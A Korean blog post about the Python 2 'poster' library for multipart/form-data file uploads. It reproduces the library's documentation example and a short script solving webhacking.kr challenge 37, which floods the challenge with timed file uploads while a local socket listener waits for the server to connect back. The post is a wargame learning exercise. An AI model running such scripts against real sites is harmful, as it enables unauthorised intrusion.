사진이나 파일을 업로드할 경우가 있을때, 사진같은경우 내부정보가 바이너리로 변경되고
multipart/form-data형식으로 전송된다. 그래서 막상 프로그래밍으로 구현하려면 어떻게 해야될지 몰랐다.(사진파일이 그냥 바이너리로만 바뀌어서 보내지는지, 추가되는점은 없는지 등등 중간 인코딩방식을 잘 몰라서. 생각해보니까 찾아보기도 귀찮아서 안찾은듯)
예전에 webhacking.kr 37번같은경우에는 그냥 마구잡이로 보내지는 패킷을 잡아서 소켓으로 어떻게어떻게 문서찾아가면서 구현했었는데, 지금보면 좀 억지로 만든 프로그램이다. 다시 읽어보니까 되게 원시적인 방법으로 했다. (지금 생각해보면 그거 하나 구현하려고 이리저리 삽질한게 공부에 많은 도움이 됬다.)
이번에 적을 poster모듈을 쓰면 메소드가 알아서 바이너리로 바꿔주고 중간처리를 다 해줘서 편하다.
대충 봐도 업로드 전용모듈인것같다. 되게 쓰기에 편하다.
docs : http://atlee.ca/software/poster/
설치 : pip install poster
docs 기본 예제. 기본적으로 참고하기 좋아서 적어둠.
# test_client.py from poster.encode import multipart_encode from poster.streaminghttp import register_openers import urllib2 # Register the streaming http handlers with urllib2 register_openers() # Start the multipart/form-data encoding of the file "DSC0001.jpg" # "image1" is the name of the parameter, which is normally set # via the "name" parameter of the HTML <input> tag. # headers contains the necessary Content-Type and Content-Length # datagen is a generator object that yields the encoded parameters datagen, headers = multipart_encode({"image1": open("DSC0001.jpg", "rb")}) # Create the Request object request = urllib2.Request("http://localhost:5000/upload_image", datagen, headers) # Actually do the request, and get the response print urllib2.urlopen(request).read()
웹케알 37번을 poster모듈을 이용해서 다시 구현해봤다. 나만의 생각일지 모르나 더 깔끔하게 동작함을 확인할수 있었다. 그리고 내부가 한글과 영어로 채워진 걸로 테스트했는데, 이게 아니라 사진 업로드시에도 제대로 동작하는걸 다른곳에서 확인했다.
# -*- encoding: cp949 -*- import socket,urllib2,time,threading from poster.encode import multipart_encode from poster.streaminghttp import register_openers register_openers() session = 본인 세션; my_ip = '192.168.219.102' flag = True def netcat(): #python netcat global flag s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.bind((my_ip,7777)) s.settimeout(3) #3초 이내에 응답을 못받으면 실패한것이므로 timeout 3초로 설정 s.listen(5) try: conn,addr = s.accept() answer = conn.recv(1024) print answer except: print 'fail' flag = False def request(): global flag filename = 'tmp-'+str(int(time.time())+2) #2초정도 뒤의 시간으로 파일을 만들어서 f = open(filename,'w'); f.close() datagen, headers = multipart_encode({"upfile": open(filename, "rb")}) #전송 req = urllib2.Request("http://webhacking.kr/challenge/web/web-18/index.php", datagen, headers) req.add_header('cookie','PHPSESSID='+session) s = time.time() while time.time() - s < 3 and flag: #약간의 통신차이를 생각해 3초 이내이거나 netcat이 연락을 받을때까지 무한요청 urllib2.urlopen(req).read() th1 = threading.Thread(target=netcat,args=()) th1.start() th2 = threading.Thread(target=request,args=()) th2.start()
'Python > 2.7 information' 카테고리의 다른 글
Hello world 난독화하기.(번역) (1) | 2015.11.28 |
---|---|
수학 관련 모듈 sympy, scipy (0) | 2015.09.07 |
pyexiv2 module (read and modify exif) (0) | 2015.08.23 |
selenium (0) | 2015.08.09 |
python .doc to .pdf, .xls to .pdf (0) | 2015.08.03 |